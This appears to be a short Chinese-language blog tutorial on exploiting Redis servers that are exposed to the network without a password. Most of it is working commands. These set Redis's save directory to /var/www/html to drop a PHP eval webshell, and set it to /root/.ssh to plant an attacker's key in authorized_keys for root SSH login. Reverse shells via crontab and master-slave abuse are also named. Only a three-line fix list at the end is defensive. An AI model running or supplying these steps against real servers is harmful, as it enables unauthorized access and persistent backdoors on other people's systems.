利用redis 备份数据库文件写入shell
漏洞产生的条件有以下两点:
1. redis服务绑定在0.0.0.0:6379端口,而且信任了其他IP,导致了Redis服务暴露在公网上
2. 没有设置密码认证,可以免密登陆Redis服务
危害:
1.导致敏感信息泄露,恶意执行flushall清空所有数据
2.通过Eval执行Lua代码,通过备份功能往磁盘写入后门文件
3.如果Redis服务以root身份运行,可以给root用户写入SSH公钥文件,直接通过SSH登陆服务器
进入src目录
使用make进行编译
/src# make
启动Redis服务: # ./redis-server
连接Redis服务: # ./redis-cli
设置保存路径
127.0.0.1:6379> CONFIG SET dir /var/www/html
设置存储名字
127.0.0.1:6379> CONFIG SET dbfilename demo.php
设置写入内容
127.0.0.1:6379> set name "<?php eval($_GET[1]);?>"
输入save保存即可在访问在/var/www/html下的demo.php
保存: 127.0.0.1:6379> save
浏览器访问: http://127.0.0.1/demo.php?1=phpinfo();
写入公钥
条件:
a、redis 服务以 root 账户运行
b、redis 无密码或弱密码进行认证
c、redis 监听在 0.0.0.0 公网上
方法:
a、通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
b、上传 SSH 公钥获得 SSH 登录权限
c、通过 crontab 反弹 shell
d、slave 主从模式利用
利用Redis写入公钥
将id_rsa.pub导出为txt文件,需要将txt文件内容前后手动添加回车
传输文件
key_test# cat id_rsa.txt | redis-cli -x set wahaha
设置保存路径
127.0.0.1:6379> CONFIG SET dir /root/.ssh
设置存储名字
127.0.0.1:6379> CONFIG SET dbfilename authorized_keys
输入save保存即可在/root/.ssh下查看
127.0.0.1:6379> save
使用公钥登录 ssh -i id_rsa root@ip
# ssh -i id_rsa root@192.168.21.147
修复
密码验证
降权运行
限制 ip/修改端口
08-03
955
07-07
1203
09-09
4027
10-18
666
06-01